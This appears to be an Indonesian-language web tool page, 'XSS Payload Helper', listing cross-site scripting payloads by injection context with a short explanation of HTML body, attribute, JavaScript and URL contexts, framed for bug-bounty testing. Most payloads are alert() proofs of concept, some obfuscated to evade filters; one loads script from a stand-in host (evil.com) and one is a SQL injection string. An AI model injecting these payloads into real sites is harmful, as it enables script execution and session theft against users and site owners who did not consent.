XSS Payload Helper
Template payload Cross-Site Scripting (XSS) berdasarkan konteks injeksi. Pilih kategori sesuai di mana teks Anda masuk ke halaman — HTML body, atribut, script, atau URL — dan ambil payload yang relevan untuk pengujian.
Pilih Konteks Injeksi
<script>alert(document.domain)</script> <img src=x onerror="alert(document.domain)"> <svg onload="alert(document.domain)"> <body onload="alert(document.domain)"> <input onfocus=alert(document.domain) autofocus> <details open ontoggle="alert(document.domain)"> <video src=1 onerror="alert(document.domain)"> <iframe src="javascript:alert(document.domain)"></iframe> <math><mtext></p><img src=x onerror=alert(document.domain)> " onmouseover="alert(document.domain) ' onclick='alert(document.domain) " autofocus onfocus="alert(document.domain) "><script>alert(document.domain)</script> "><img src=x onerror=alert(document.domain)> " onblur="alert(document.domain)" tabindex="1 ' OR '1'='1 ';alert(document.domain)// ";alert(document.domain)// \';alert(document.domain)// ${alert(document.domain)} </script><script>alert(document.domain)</script> '-alert(document.domain)-' \u0027;alert(document.domain)// javascript:alert(document.domain) javascript:void(alert(document.domain)) data:text/html,<script>alert(1)</script> //evil.com/xss.js javascript:%61lert(document.domain) <ScRiPt>alert(1)</sCrIpT> <img src=x oNerRoR=alert(1)> <svg/onload=alert(1)> <img src=x onerror="alert(1)"> <script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))</script> <script>window["ale"+"rt"](1)</script> <svg><script>alert(1)</script></svg> <img src=1 href=1 onerror="javascript:alert(1)"> <j onfocus=alert(1) id=x tabindex=1>#x Custom Payload Encoder
Memahami Konteks Injeksi XSS
Keberhasilan XSS sangat bergantung pada di mana input pengguna ditempatkan dalam halaman HTML. Konteks yang salah akan membuat payload tidak berjalan:
- HTML Body — Input langsung jadi konten HTML. Bisa langsung
inject tag seperti
<script>atau<img onerror>. - HTML Attribute — Input masuk sebagai nilai atribut. Perlu
menutup atribut dengan
"atau'sebelum inject event handler. - JavaScript Context — Input di-embed di dalam blok JavaScript. Perlu menutup string atau statement yang sedang berjalan.
- URL/href — Input menjadi nilai URL.
javascript:scheme dandata:URL bisa menjalankan script.
Payload alert(document.domain) adalah pilihan standar bug bounty
karena membuktikan eksekusi script di domain target tanpa side effect yang merusak.